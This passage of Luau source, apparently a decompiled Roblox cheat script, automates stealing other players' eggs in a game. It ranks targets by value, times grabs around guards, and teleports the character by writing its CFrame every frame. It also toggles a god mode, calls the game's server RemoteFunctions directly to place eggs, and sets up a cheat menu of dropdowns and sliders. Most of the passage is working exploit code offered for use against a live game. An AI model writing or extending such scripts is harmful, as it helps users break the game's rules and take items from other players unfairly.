n22 = math.max(v30.Position.Y, v22.Y) + n3
flag3 = true
n23 = 0
end
continue
end
if v26 == "dropped" and n23 < n17 then
n23 = n23 + 1
if not fn50(arg) then
return false
end
continue
end
break
end
end
return false
end
local function fn55(arg)
local n20 = tonumber(arg) or 0
local tbl19 = { "", "K", "M", "B", "T", "Qa", "Qi" }
local n21 = 1
while math.abs(n20) >= 1000 and n21 < #tbl19 do
n20 = n20 / 1000
n21 = n21 + 1
end
local format = string.format
local str3 = n21 == 1 and "%.0f%s" or "%.2f%s"
return format(str3, n20, tbl19[n21])
end
local function fn56(arg)
if not arg then
return "None"
end
local format = string.format
local str3 = tostring(arg.Category)
local n20 = tonumber(arg.Scale) or 0
local v22 = tostring
local areaId = arg.AreaId
local str4 =
format("%s %.2fx | value %s | %s", str3, n20, fn55(arg.Value), v22(areaId))
if arg.State == "Dropped" then
str4 = str4 .. " | dropped"
elseif arg.State == "Carried" then
str4 = str4 .. " | carried by a player"
end
return str4
end
local flag3 = false
local function fn57()
local v22 = n5
tbl4.Steal.Active = true
tbl4.Steal.Carrying = tbl4.Steal.Carrying == true
if not tbl4.Steal.Carrying then
tbl4.Steal.CarryUid = nil
end
local v23 = nil
local str3 = nil
for _, v24 in ipairs((fn18(false, true))) do
if v24.State == "Carried" then
str3 = str3 or v24
else
v23 = v24
break
end
end
local tbl19 = { v23 }
local uid = v23 and v23.Uid or nil
v18 = uid
tbl4.Steal.Wanted = v23 ~= nil
str = fn56(v23)
if str3 then
str = str .. " | watching " .. tostring(str3.Category)
end
if not v23 then
tbl4.Steal.Active = false
str3 = str3 and "Best egg is carried, waiting for it"
str3 = str3 or "No egg matches"
str2 = str3
return false
end
if not tbl4.ClaimMovement("steal") then
tbl4.Steal.Active = false
str2 = "Waiting for Auto Place"
return false
end
if tbl4.Treadmill.Riding or tbl4.OnBelt() then
tbl4.ExitBelt()
end
flag3 = true
tbl4.HoldBelt()
local function fn57(arg)
str2 = arg
local v24 = fn51(v23, v22)
local flag4 = false
local v25 = nil
if v24 then
if fn28(v23.Uid, v22) then
v25 = nil
flag4 = fn54(v22)
else
v25 = str2
flag4 = false
end
end
fn24()
tbl4.Steal.Active = false
tbl4.Steal.LastFinishedAt = os.clock()
flag4 = flag4 and "Delivered"
flag4 = flag4 or v25
flag4 = flag4 or v24 and "Run ended" or "That egg would not come free"
str2 = flag4
return true
end
local v24 = tbl4.Root()
local position = typeof(v23.CFrame) == "CFrame" and v23.CFrame.Position or nil
if v24 and position then
local flag4 = (position - v24.Position).Magnitude <= n16
local areaId = v23.AreaId
local flag5 = localPlayer:GetAttribute("AreaId") == areaId
if flag4 or flag5 then
return (fn57("Target is right here, taking it"))
end
end
local v25 = fn18(true)
local str4 = "FirstAreaEgg_" .. tostring(localPlayer.UserId)
local tbl20 = {}
for _, v26 in ipairs(v25) do
local v27 = fn40(v26)
local flag4
if v27 then
flag4 = v27
else
flag4 = type(v26.Uid) == "string" and string.sub(v26.Uid, 1, #str4) == str4
end
if flag4 then
table.insert(tbl20, v26)
end
end
if #tbl20 ~= 0 then
v25 = tbl20
end
local v26, v27 = fn31(v25)
local v28 = v26
local v29 = v27
if not v28 then
tbl4.Steal.Active = false
str2 = "No egg matches"
return false
end
if v28.Uid == v23.Uid then
return (fn57("Target is the closest egg, taking it"))
end
local v30, v31 = fn41(v28)
local v32 = v31
local v33
if v32 and v24 then
local v34, v35, v36 = ipairs(v25)
local huge = math.huge
v33 = v28
for _, v37 in v34, v35, v36 do
local position2 = typeof(v37.CFrame) == "CFrame" and v37.CFrame.Position or nil
if v37.Uid ~= v23.Uid and v37.AreaId == v28.AreaId and position2 then
local magnitude = (position2 - v24.Position).Magnitude
if n13 < (position2 - v32).Magnitude then
magnitude = magnitude + n13
end
if magnitude < huge then
huge = magnitude
v33 = v37
end
end
end
else
v33 = v28
end
str2 = string.format("Sleeping guard egg %d studs away", math.floor(v29 + 0.5))
if not v33 then
tbl4.Steal.Active = false
str2 = "No egg matches"
return false
end
local v34, v35 = fn45(v33, v22, false, tbl19[1])
if not v34 then
tbl4.Steal.Active = false
return false
end
local uid2 = nil
local uid3 = v23.Uid
local n20 = 0
while true do
if v35 and not fn12(v22) then
str2 = "Holding for the guard hit"
if
fn43(v22, v35, function(arg)
if not uid2 and tbl18.Uid and tbl18.Freed then
uid2 = tbl18.Uid
arg.Destination = tbl18.Freed + Vector3.new(0, 3, 0)
local v36 = tbl18
tbl18.Uid = nil
v36.Freed = nil
str2 = "Best egg fell, jumping to it instead"
end
end)
then
n20 = n20 + 1
if uid2 then
uid3 = uid2
fn50(v22, uid2)
break
else
local v36 = tbl19[n20]
local v37
v37, v35 = fn45(v36, v22, true, tbl19[n20 + 1])
if v37 then
if v36 and type(v36.Uid) == "string" then
uid3 = v36.Uid
end
continue
end
end
end
end
break
end
if not fn28(uid3, v22) then
local v36 = str2
fn24()
tbl4.Steal.Active = false
tbl4.Steal.LastFinishedAt = os.clock()
str2 = v36
return true
end
local str5 = fn54(v22)
fn24()
tbl4.Steal.Active = false
tbl4.Steal.LastFinishedAt = os.clock()
str5 = str5 and "Delivered"
str5 = str5 or "Run ended"
str2 = str5
return true
end
local eggState = tbl.EggState
if type(eggState) == "table" then
for _, v22 in ipairs({
"FieldRefreshed",
"FieldShifted",
"FieldGone",
"SnapshotRefreshed",
}) do
local v23 = eggState[v22]
if type(v23) == "table" and type(v23.Connect) == "function" then
local ok, result = pcall(v23.Connect, v23, function()
tbl2.Wake()
end)
ok = ok and result
if ok then
fn6(function()
pcall(function()
result:Disconnect()
end)
end)
end
end
end
end
tbl2.Add(function()
local flag4 = nil
if v16 then
flag4 = type(v16.Set) == "function"
end
if flag4 then
pcall(v16.Set, nil, str2)
end
local flag5 = nil
if v17 then
flag5 = type(v17.Set) == "function"
end
if flag5 then
pcall(v17.Set, nil, str)
end
if not tbl4.Toggle(v15, false) then
return false
end
local v22, v23, v24 = fn14()
local v25 = v23
if v22 then
if v25 == "night" then
fn15()
end
tbl4.Movement.StealFirst = true
tbl4.Steal.Wanted = false
if flag then
n5 = n5 + 1
tbl4.Steal.Active = false
fn24()
tbl4.StopWalking()
end
local n20 = math.max(0, math.ceil(v22 - v24))
if v25 == "wall" then
str2 = string.format("Field wall up, %ds", n20)
else
str2 = string.format("Night, going again in %ds", n20)
end
return false
end
local flag6 = v20
if v20 then
flag6 = n9 == math.huge
end
if flag6 then
n9 = os.clock() + n8
end
if flag then
return true
end
if fn16() then
str2 = "Night over, waiting for the field to reset"
tbl2.Wake()
return false
end
local stealFirst = tbl4.Movement.StealFirst
local owner = tbl4.Movement.Owner
if
tbl4.Movement.PlaceWanted and not stealFirst
or owner ~= nil
and owner ~= "steal"
and owner ~= "treadmill"
and owner ~= "scramble"
then
str2 = "Waiting for Auto Place"
if stealFirst then
tbl2.Wake()
end
return true
end
tbl4.Movement.StealFirst = false
flag = true
task.spawn(function()
local ok = pcall(fn57)
if flag3 then
flag3 = false
tbl4.ReleaseBelt()
end
if not ok then
fn24()
tbl4.Steal.Active = false
end
local v26 = v18
v18 = nil
local once = v26 and tbl11[v26]
once = once and once.Once
if once then
tbl11[v26] = nil
end
local v27 = tbl18
local v28 = tbl18
tbl18.Uid = nil
v27.Freed = nil
v28.Token = nil
if str2 == "Delivered" and not tbl4.IsNight() then
tbl4.Movement.StealFirst = true
end
tbl4.ReleaseMovement("steal")
flag = false
tbl2.Wake()
end)
return false
end)
end
v15 = v13
fn11 = function()
n5 = n5 + 1
table.clear(tbl14)
tbl4.Steal.Active = false
tbl4.Steal.Wanted = false
local v21 = tbl4.Toggle(v15, false)
tbl4.Shield("steal", v21)
if not v21 then
tbl4.Movement.StealFirst = false
table.clear(tbl11)
table.clear(tbl12)
table.clear(tbl13)
end
fn24()
tbl4.StopWalking()
tbl2.Wake()
end
do
local function fn32()
n5 = n5 + 1
tbl4.Steal.Active = false
fn24()
tbl4.StopWalking()
end
local function fn33()
if tbl4.Toggle(v15, false) then
return true
end
local flag3 = v15
if v15 then
flag3 = type(v15.Set) == "function"
end
if flag3 then
pcall(v15.Set, v15, true)
end
return false
end
tbl4.CancelSteal = function(arg)
if type(arg) ~= "string" then
return
end
tbl11[arg] = nil
tbl12[arg] = nil
tbl13[arg] = true
local flag3 = flag
if flag then
flag3 = v18 == arg
end
if flag3 then
fn32()
end
tbl2.Wake()
end
tbl4.StealQueue = function()
local tbl17 = {}
for k in pairs(tbl11) do
table.insert(tbl17, k)
end
table.sort(tbl17, function(arg, arg2)
local at = tbl11[arg].At
local at2 = tbl11[arg2].At
if at ~= at2 then
return at < at2
end
return arg < arg2
end)
return tbl17
end
tbl4.PrioritizeSteal = function(arg)
if type(arg) ~= "string" or fn13() then
return
end
local n14 = 0
for _, v21 in pairs(tbl11) do
if v21.At < n14 then
n14 = v21.At
end
end
tbl11[arg] = { At = n14 - 1, Once = false }
tbl13[arg] = nil
tbl14[arg] = nil
if fn33() and flag and not tbl4.Steal.Carrying and v18 ~= arg then
fn32()
end
tbl2.Wake()
end
tbl4.MoveInPlan = function(arg, arg2)
if type(arg) ~= "string" or arg2 ~= -1 and arg2 ~= 1 or fn13() then
return
end
local v21 = tbl4.StealPlan()
local v22 = table.find(v21, arg)
local n14 = v22 and v22 + arg2
if not n14 or n14 < 1 or n14 > #v21 then
return
end
table.remove(v21, v22)
table.insert(v21, n14, arg)
local n15 = math.max(v22, n14)
for i, v23 in ipairs(v21) do
if i <= n15 or tbl11[v23] then
local v24 = tbl11[v23]
if v24 then
v24.At = i
else
tbl11[v23] = { At = i, Once = false }
end
tbl13[v23] = nil
end
end
local flag3 = flag
if flag then
flag3 = not tbl4.Steal.Carrying
end
flag3 = flag3 and v18
flag3 = flag3 and v21[1] ~= v18
if flag3 then
fn32()
end
tbl2.Wake()
end
tbl4.StealPlan = function()
if not tbl4.Toggle(v15, false) or tbl4.IsNight() then
return {}, nil
end
local tbl17 = {}
if v18 then
table.insert(tbl17, v18)
end
local ok, result = pcall(fn18, false, true)
local v21 = result
ok = ok and type(v21) == "table"
if ok then
for _, v22 in ipairs(v21) do
if v22.Uid ~= v18 then
table.insert(tbl17, v22.Uid)
end
end
end
return tbl17, v18
end
tbl4.SetPriority = function(arg, arg2)
if arg2 then
tbl4.PrioritizeSteal(arg)
else
tbl4.CancelSteal(arg)
end
end
tbl4.StealNow = function(arg, arg2)
if type(arg) ~= "string" or fn13() then
return
end
if not tbl11[arg] then
local n14 = 0
for _, v21 in pairs(tbl11) do
if n14 < v21.At then
n14 = v21.At
end
end
tbl11[arg] = { At = n14 + 1, Once = arg2 == true }
end
tbl13[arg] = nil
tbl14[arg] = nil
local flag3 = fn33() and flag and not tbl4.Steal.Carrying and v18 ~= arg
if flag3 then
local v21 = v18
if v18 then
v21 = tbl11[v18]
end
flag3 = not v21
end
if flag3 then
fn32()
end
tbl2.Wake()
end
end
fn6(function()
tbl4.GodMode(false)
tbl4.ReleaseMovement("steal")
fn24()
end)
end
tbl4.Rift = { Requirements = {}, At = 0, Busy = false, Next = 0, Handles = {}, Restart = {} }
tbl4.RiftOn = function(arg)
local v19 = tbl4.Rift.Handles[arg]
local flag2 = v19 ~= nil and tbl4.Toggle(v19, false) == true
return flag2
end
do
local n6 = 8
local function fn14(arg)
local directory = tbl.Assets and tbl.Assets.Directory
local flag2 = type(directory) == "table" and directory[tostring(arg)] or nil
local flag3 = type(flag2) == "table"
if not flag3 then
flag2 = flag3
end
flag2 = flag2 or nil
return flag2
end
tbl4.EggRarity = function(arg)
local v19 = fn14(arg.AssetCategory)
local rarity = v19 and v19.Rarity or nil
local flag2 = type(rarity) == "table"
if flag2 then
local v20 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag2 = v20(rarityNumber)
end
flag2 = flag2 or 0
return flag2
end
tbl4.EggIncome = function(arg)
local num = fn14(arg.AssetCategory)
num = num and tonumber(num.EarningRate)
num = num or 0
local n7 = tonumber(arg.AssetScale) or 0
if n7 <= 0 then
return 0
end
local n8 = n7 > 5 and (n7 / 5) ^ 1.2 * 19.637875755794113 or n7 ^ 1.85
local mutations = tbl.Mutations
local flag2 = type(mutations) == "table" and type(mutations.EarningsFor) == "function"
local n9 = 1
if flag2 then
local v19 = pcall
local earningsFor = mutations.EarningsFor
local mutations2 = type(arg.Mutations) == "table" and arg.Mutations or {}
local flag3, v20 = v19(earningsFor, mutations2)
flag3 = flag3 and type(v20) == "number"
n9 = 1
if flag3 then
n9 = v20
end
end
return num * n8 * n9
end
tbl4.RiftShortfall = function()
local tbl15 = {}
for _, v19 in ipairs(tbl4.Rift.Requirements) do
tbl15[v19] = (tbl15[v19] or 0) + 1
end
if next(tbl15) == nil then
return tbl15
end
local save = tbl.Save
local flag2 = type(save) == "table" and type(save.Get) == "function"
local result = nil
if flag2 then
local ok
ok, result = pcall(save.Get)
ok = ok and type(result) == "table"
if not ok then
result = ok
end
result = result or nil
end
if not result then
return {}
end
local tbl16 = {}
local v19 = pairs
local equippedAssets = result.EquippedAssets or {}
for _, equippedAsset in v19(equippedAssets) do
tbl16[equippedAsset] = true
end
local v20 = pairs
local inventory = result.Inventory or {}
for k, v21 in v20(inventory) do
local str3 = type(v21) == "table" and tostring(v21.Category) or nil
local flag3
if str3 then
flag3 = (tbl15[str3] or 0) > 0
else
flag3 = str3
end
flag3 = flag3 and v21.InFuse ~= true
flag3 = flag3 and v21.IsFavorite ~= true
flag3 = flag3 and not tbl16[k]
if flag3 then
tbl15[str3] = tbl15[str3] - 1
end
end
for k, v21 in pairs(tbl15) do
if v21 <= 0 then
tbl15[k] = nil
end
end
return tbl15
end
local function fn15()
for k in pairs(tbl4.Rift.Handles) do
if tbl4.RiftOn(k) then
return true
end
end
return false
end
tbl2.Add(function()
local rift = tbl4.Rift
local busy = rift.Busy
local flag2
if busy then
flag2 = busy
else
local next_ = rift.Next
flag2 = os.clock() < next_
end
flag2 = flag2 or not fn15()
if flag2 then
return false
end
rift.Busy = true
rift.Next = os.clock() + n6
task.spawn(function()
local rfRiftAskState = networking:FindFirstChild("RF/Rift/AskState")
if rfRiftAskState and rfRiftAskState:IsA("RemoteFunction") then
local ok, result = pcall(rfRiftAskState.InvokeServer, rfRiftAskState)
ok = ok and type(result) == "table"
if ok then
local tbl15 = {}
if result.Unlocked == true and type(result.Requirements) == "table" then
for _, v19 in ipairs(result.Requirements) do
table.insert(tbl15, tostring(v19))
end
end
rift.Requirements = tbl15
rift.At = os.clock()
end
end
rift.Busy = false
tbl2.Wake()
end)
return false
end)
end
do
local tbl15 = { "Always", "Steal Idle", "After Steal", "Night Only" }
local tbl16 = { "Biggest Size", "Highest Value", "Smallest Size", "Backpack Order" }
local v19 = tbl15[1]
local v20 = tbl16[2]
local n6 = 0
local n7 = 0
v6:CreateDropdown({
Name = "Place Egg Rule",
Options = tbl15,
Default = tbl15[1],
Callback = function(arg)
if table.find(tbl15, arg) then
v19 = arg
end
end,
})
v6:CreateDropdown({
Name = "Place Egg Order",
Options = tbl16,
Default = tbl16[2],
Callback = function(arg)
if table.find(tbl16, arg) then
v20 = arg
end
end,
})
v6:CreateDropdown({
Name = "Place Min Rarity",
Note = "Place eggs of the chosen rarity and every rarity above it",
Options = tbl7,
Default = tbl7[1],
Callback = function(arg)
local n8 = tbl8[arg] or 0
n6 = n8
end,
})
local tbl17 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local v21 = nil
local n8 = 0
local str3 = "M/s"
local function fn14(arg, arg2)
if arg ~= nil then
local max = math.max
local floor = math.floor
local num = tonumber(arg) or n8
n8 = max(0, floor(num))
end
if arg2 ~= nil then
str3 = tostring(arg2)
end
local ms = tbl17[str3] or tbl17["M/s"]
n7 = n8 * ms.Mult
end
v21 = v6:CreateSlider({
Name = "Place Min Value",
Note = "Skip eggs worth less than this (0 = off)",
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg)
local ms = tbl17[arg] or tbl17["M/s"]
local setRange = v21
if v21 then
setRange = v21.SetRange
end
if setRange then
v21:SetRange(ms.Min, ms.Max)
local min = tonumber(v21:Get()) or ms.Min
local min2 = ms.Min
local max = ms.Max
local n9 = math.clamp(math.floor(min + 0.5), min2, max)
if n9 ~= min then
str3 = tostring(arg)
v21:Set(n9)
return
end
fn14(n9, arg)
else
fn14(nil, arg)
end
end,
},
Callback = function(arg)
fn14(arg, nil)
end,
})
local n9 = 5
local n10 = 26
local n11 = 6
local n12 = 8
local n13 = 0
local n14 = 30
local n15 = 12
local v22 = nil
local v23 = nil
local str4 = "Pen status unknown"
local flag2 = false
local tbl18 = {}
local n16 = 0
local v24 = nil
local n17 = 30
local function fn15(arg, arg2)
local v25 = networking:FindFirstChild(arg)
if not v25 or not v25:IsA("RemoteFunction") then
return false, nil
end
return pcall(v25.InvokeServer, v25, arg2)
end
local function fn16(arg)
local directory = tbl.Assets and tbl.Assets.Directory
local flag3 = type(directory) == "table" and directory[tostring(arg.AssetCategory)] or nil
local flag4 = type(flag3) == "table"
if not flag4 then
flag3 = flag4
end
flag3 = flag3 or nil
return flag3
end
local function fn17(arg)
local rarity = fn16(arg)
rarity = rarity and rarity.Rarity
rarity = rarity or nil
local flag3 = type(rarity) == "table"
if flag3 then
local v25 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag3 = v25(rarityNumber)
end
local n18 = flag3 or 0
return n18
end
local function fn18(arg)
local num = fn16(arg)
num = num and tonumber(num.EarningRate)
num = num or 0
local n18 = tonumber(arg.AssetScale) or 0
if n18 <= 0 then
return 0
end
local n19 = n18 > 5 and (n18 / 5) ^ 1.2 * 19.637875755794113 or n18 ^ 1.85
local mutations = tbl.Mutations
local flag3 = type(mutations) == "table" and type(mutations.EarningsFor) == "function"
local n20 = 1
if flag3 then
local v25 = pcall
local earningsFor = mutations.EarningsFor
local mutations2 = type(arg.Mutations) == "table" and arg.Mutations or {}
local flag4, v26 = v25(earningsFor, mutations2)
flag4 = flag4 and type(v26) == "number"
local n21 = 1
if flag4 then
n20 = v26
else
n20 = n21
end
end
return num * n19 * n20
end
local function fn19()
local tbl19 = {}
local backpack = localPlayer:FindFirstChildOfClass("Backpack")
if not backpack then
return tbl19
end
local n18 = 0
for _, child in ipairs(backpack:GetChildren()) do
local attribute = child:GetAttribute("UID")
if type(attribute) == "string" then
n18 = n18 + 1
tbl19[attribute] = n18
end
end
return tbl19
end
local function fn20()
local eggState = tbl.EggState
if type(eggState) ~= "table" or type(eggState.ReadOwnerEggs) ~= "function" then
return {}
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v25 = result
if not ok or type(v25) ~= "table" then
return {}
end
local v26 = fn19()
local tbl19 = {}
if tbl4.RiftOn("Place") then
tbl19 = tbl4.RiftShortfall()
for _, v27 in pairs(v25) do
if type(v27) == "table" and v27.Placement ~= nil then
local str5 = tostring(v27.AssetCategory)
local n18 = tbl19[str5] or 0
if 0 < n18 then
tbl19[str5] = tbl19[str5] - 1
end
end
end
end
local tbl20 = {}
for k, v27 in pairs(v25) do
if type(v27) == "table" and v27.Placement == nil and not tbl18[k] then
local v28 = fn18(v27)
local flag3 = n6 <= 0 or fn17(v27) >= n6
local flag4 = n7 <= 0 or v28 >= n7
local str5 = tostring(v27.AssetCategory)
local flag5 = (tbl19[str5] or 0) > 0
if flag5 then
tbl19[str5] = tbl19[str5] - 1
end
if flag5 then
flag4 = flag5
elseif not flag3 then
flag4 = flag3
end
if flag4 then
local insert = table.insert
local tbl21 = { Uid = k }
tbl21.Scale = tonumber(v27.AssetScale) or 0
tbl21.Income = v28
tbl21.Slot = v26[k] or math.huge
tbl21.Rift = flag5
insert(tbl20, tbl21)
end
end
end
table.sort(tbl20, function(arg, arg2)
if arg.Rift ~= arg2.Rift then
return arg.Rift
end
if v20 == tbl16[2] and arg.Income ~= arg2.Income then
return arg.Income > arg2.Income
end
if v20 == tbl16[3] and arg.Scale ~= arg2.Scale then
return arg.Scale < arg2.Scale
end
if v20 == tbl16[4] and arg.Slot ~= arg2.Slot then
return arg.Slot < arg2.Slot
end
return arg.Scale > arg2.Scale
end)
return tbl20
end
local function fn21(arg)
if arg == 0 then
return false
end
local steal = tbl4.Steal
if v19 == tbl15[2] then
local flag3 = not steal.Active and not steal.Carrying
return flag3
end
if v19 == tbl15[3] then
local flag3 = steal.LastFinishedAt > 0
if flag3 then
local lastFinishedAt = steal.LastFinishedAt
flag3 = os.clock() - lastFinishedAt <= n15
end
return flag3
end
if v19 == tbl15[4] then
return tbl4.IsNight()
end
return true
end
local function fn22()
local eggState = tbl.EggState
local flag3 = type(eggState) == "table" and type(eggState.ReadOwnerEggs) == "function"
local n18 = 0
if flag3 then
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v25 = result
ok = ok and type(v25) == "table"
n18 = 0
if ok then
n18 = 0
for _, v26 in pairs(v25) do
if type(v26) == "table" and v26.Placement ~= nil then
n18 = n18 + 1
end
end
end
end
local save = tbl.Save
local flag4 = type(save) == "table" and type(save.Get) == "function"
local result = nil
if flag4 then
local ok
ok, result = pcall(save.Get)
ok = ok and type(result) == "table"
if not ok then
result = ok
end
result = result or nil
end
local flag5 = result and type(result.EquippedAssets) == "table"
local n19 = 0
if flag5 then
n19 = 0
for k in pairs(result.EquippedAssets) do
n19 = n19 + 1
end
end
local v25 = fn3(function()
return ReplicatedStorage.Data.Bases
end)
local flag6 = type(v25) == "table" and type(v25.GetAssetEquipCapacity) == "function"
local num = nil
if flag6 then
local v26 = pcall
local getAssetEquipCapacity = v25.GetAssetEquipCapacity
result = result and tonumber(result.BaseUpgradeLevel)
local n20 = result or 0
local v27
num, v27 = v26(getAssetEquipCapacity, n20)
num = num and tonumber(v27)
num = num or nil
end
if not num then
local rfPenRosterAskWearLimit = networking:FindFirstChild("RF/PenRoster/AskWearLimit")
if rfPenRosterAskWearLimit and rfPenRosterAskWearLimit:IsA("RemoteFunction") then
local result2
num, result2 = pcall(rfPenRosterAskWearLimit.InvokeServer, rfPenRosterAskWearLimit)
num = num and tonumber(result2)
num = num or nil
end
end
num = num or 0
return num - n18 - n19, num, n18, n19
end
local n18 = -0.5
local n19 = -24
local function fn23()
local eggState = tbl.EggState
local tbl19 = {}
if type(eggState) ~= "table" or type(eggState.ReadOwnerEggs) ~= "function" then
return tbl19
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v25 = result
if not ok or type(v25) ~= "table" then
return tbl19
end
for _, v26 in pairs(v25) do
local placement = type(v26) == "table" and v26.Placement or nil
local localCFrame = type(placement) == "table" and placement.LocalCFrame or nil
if typeof(localCFrame) == "CFrame" then
table.insert(tbl19, Vector2.new(localCFrame.Position.X, localCFrame.Position.Z))
end
end
return tbl19
end
local v25 = Random.new()
local function fn24(arg)
local tbl19 = {}
for i = n19, 8, 4 do
for i2 = 4, 30, 4 do
local vector2 = Vector2.new(i, i2)
local flag3 = true
for _, v26 in ipairs(arg) do
if (v26 - vector2).Magnitude < n9 then
flag3 = false
break
else
flag3 = true
end
end
if flag3 then
table.insert(tbl19, CFrame.new(i, n18, i2))
end
end
end
for i = #tbl19, 2, -1 do
local v26 = v25:NextInteger(1, i)
local v27 = tbl19[i]
tbl19[i] = tbl19[v26]
tbl19[v26] = v27
end
return tbl19
end
local function fn25()
local v26, v27, v28, v29 = fn22()
local v30 = v26
local v31 = v28
local eggState = tbl.EggState
local flag3 = type(eggState) == "table" and type(eggState.ReadOwnerEggs) == "function"
local n20 = 0
if flag3 then
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local flag4 = ok
local v32 = result
flag4 = flag4 and type(v32) == "table"
n20 = 0
if flag4 then
n20 = 0
for _, v33 in pairs(v32) do
if type(v33) == "table" and v33.Placement == nil then
n20 = n20 + 1
end
end
end
end
str4 = string.format(
"Eggs placed %d/%d - %d/%d pets equipped, %d in bag",
v31,
30,
v29,
v27,
n20
)
return v30, v31
end
local function fn26(arg, arg2)
local v26 = tbl4.Root()
if not v26 then
return false
end
local position = v26.Position
local n20 = (arg - position).Magnitude / math.max(n4, 1) + 3
local flag3 = nil
local n21 = 0
local connection = RunService.Heartbeat:Connect(function(arg3)
if flag3 ~= nil or tbl4.AntiGuard.Busy then
return
end
n21 = n21 + arg3
local v27 = tbl4.Root()
if not v27 or arg2() or n21 > n20 then
flag3 = false
return
end
if 6 < (v27.Position - position).Magnitude then
position = v27.Position
end
local n22 = arg - position
local n23 = n4 * arg3
local flag4 = n22.Magnitude <= math.max(n23, 0.05)
local n24 = flag4 and arg or position + n22.Unit * n23
position = n24
local vector = Vector3.new(n22.X, 0, n22.Z)
local cframe = vector.Magnitude > 0.05
and CFrame.lookAt(Vector3.new(0, 0, 0), vector.Unit)
or v27.CFrame.Rotation
pcall(function()
v27.CFrame = CFrame.new(position) * cframe
v27.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v27.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
if flag4 then
flag3 = true
end
end)
while flag3 == nil do
RunService.Heartbeat:Wait()
end
connection:Disconnect()
return flag3
end
local function fn27()
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("Areas")
world = world and world:FindFirstChild("SeparationLine")
local x = world and world:IsA("BasePart") and world.Position.X or 552
return x
end
local fn28 = nil
local function fn29(arg)
local v26 = tbl4.Root()
if not v26 or type(tbl4.StealHome) ~= "function" then
return nil
end
local v27 = fn27()
if v26.Position.X < v27 == arg.X < v27 then
return nil
end
local ok, result = pcall(tbl4.StealHome)
if not ok or typeof(result) ~= "Vector3" then
return nil
end
if (result - arg).Magnitude <= 12 or (v26.Position - result).Magnitude <= 12 then
return nil
end
return result
end
fn28 = function(arg, arg2, arg3, arg4)
local v26 = tbl4.Root()
if not v26 then
return false
end
if not arg4 then
local flag3 = fn29(arg)
flag3 = flag3 and not fn28(flag3, arg2, arg3, true)
if flag3 then
return false
end
if arg2 and arg2() then
return false
end
v26 = tbl4.Root()
if not v26 then
return false
end
end
tbl4.Shield(arg3 or "place", true)
tbl4.Driving = tbl4.Driving + 1
task.wait(0.2)
local n20 = arg + Vector3.new(0, 3, 0)
local n21 = math.max(v26.Position.Y, n20.Y) + n17
local ok, result = pcall(function()
local v27 = fn26(Vector3.new(v26.Position.X, n21, v26.Position.Z), arg2)
and fn26(Vector3.new(n20.X, n21, n20.Z), arg2)
and fn26(n20, arg2)
return v27
end)
ok = ok and result == true
tbl4.Driving = math.max(0, tbl4.Driving - 1)
tbl4.Shield(arg3 or "place", false)
return ok
end
tbl4.FlyTo = function(arg, arg2, arg3)
local v26 = fn28
local str5 = arg3 or "fly"
return v26(arg, arg2, str5)
end
local function fn30()
local eggState = tbl.EggState
if type(eggState) ~= "table" or type(eggState.PlantEgg) ~= "function" then
return false
end
local v26 = fn20()
if not fn21(#v26) then
return false
end
fn25()
local v27, v27, v28 = fn22()
local v29 = n14
local n20 = tonumber(v28) or 0
local n21 = v29 - n20
if n21 <= 0 then
return false
end
local v30 = tbl4.PenAnchor()
if not v30 then
return false
end
tbl4.Movement.PlaceWanted = true
if not tbl4.ClaimMovement("place") then
return "waiting"
end
local v31 = n16
local function fn30()
if v31 ~= n16 or not tbl4.Toggle(v22, false) then
return true
end
if tbl4.IsNight() then
return false
end
local stealFirst = v19 == tbl15[4] or tbl4.Movement.StealFirst
return stealFirst
end
if tbl4.Treadmill.Riding or tbl4.OnBelt() then
tbl4.ExitBelt()
end
local function fn31()
tbl4.HoldBelt()
local ok, result = pcall(fn28, v30, fn30)
tbl4.ReleaseBelt()
if not ok then
result = ok
end
result = result and true
result = result or false
return result
end
if n10 < tbl4.DistanceTo(v30) then
str4 = "Flying to the pen"
if not fn31() then
tbl4.LeaveBelt()
n13 = os.clock() + n11
return false
end
end
tbl4.LeaveBelt()
if fn30() then
return false
end
local function fn32()
if tbl4.DistanceTo(v30) <= n10 then
return true
end
if fn30() then
return false
end
str4 = "Pen out of reach, flying back"
local flag3 = fn31() and tbl4.DistanceTo(v30) <= n10
return flag3
end
if not fn32() then
str4 = "Could not reach the pen, trying again soon"
n13 = os.clock() + n11
return false
end
local v32 = fn23()
local n22 = 0
local n23 = 0
for _, v33 in ipairs(v26) do
if not (n22 >= n21 or fn30()) then
if not fn32() then
str4 = "Pen out of reach, stopping this pass"
break
else
local ok, result = pcall(eggState.WearEggTool, v33.Uid)
ok = ok and result ~= false
if ok then
task.wait(0.15)
local n24 = 0
local flag3 = false
for _, v34 in ipairs(fn24(v32)) do
local flag4 = fn30() or n24 >= n12
flag3 = false
if not flag4 then
n24 = n24 + 1
local AskPlaceEgg, v35 = fn15(
"RF/EggWorld/AskPlaceEgg",
{ Uid = v33.Uid, LocalCFrame = v34 }
)
AskPlaceEgg = AskPlaceEgg and v35 ~= false
if AskPlaceEgg then
table.insert(v32, Vector2.new(v34.Position.X, v34.Position.Z))
n22 = n22 + 1
flag3 = true
break
else
flag3 = false
continue
end
end
break
end
if flag3 then
n23 = 0
continue
else
tbl18[v33.Uid] = true
n23 = n23 + 1
if not (2 <= n23) then
continue
end
end
else
tbl18[v33.Uid] = true
continue
end
end
end
break
end
if type(eggState.DoffEggTool) == "function" then
pcall(eggState.DoffEggTool)
end
if n22 == 0 then
n13 = os.clock() + n11
end
return n22 > 0
end
tbl2.Add(function()
local v26, v27 = fn25()
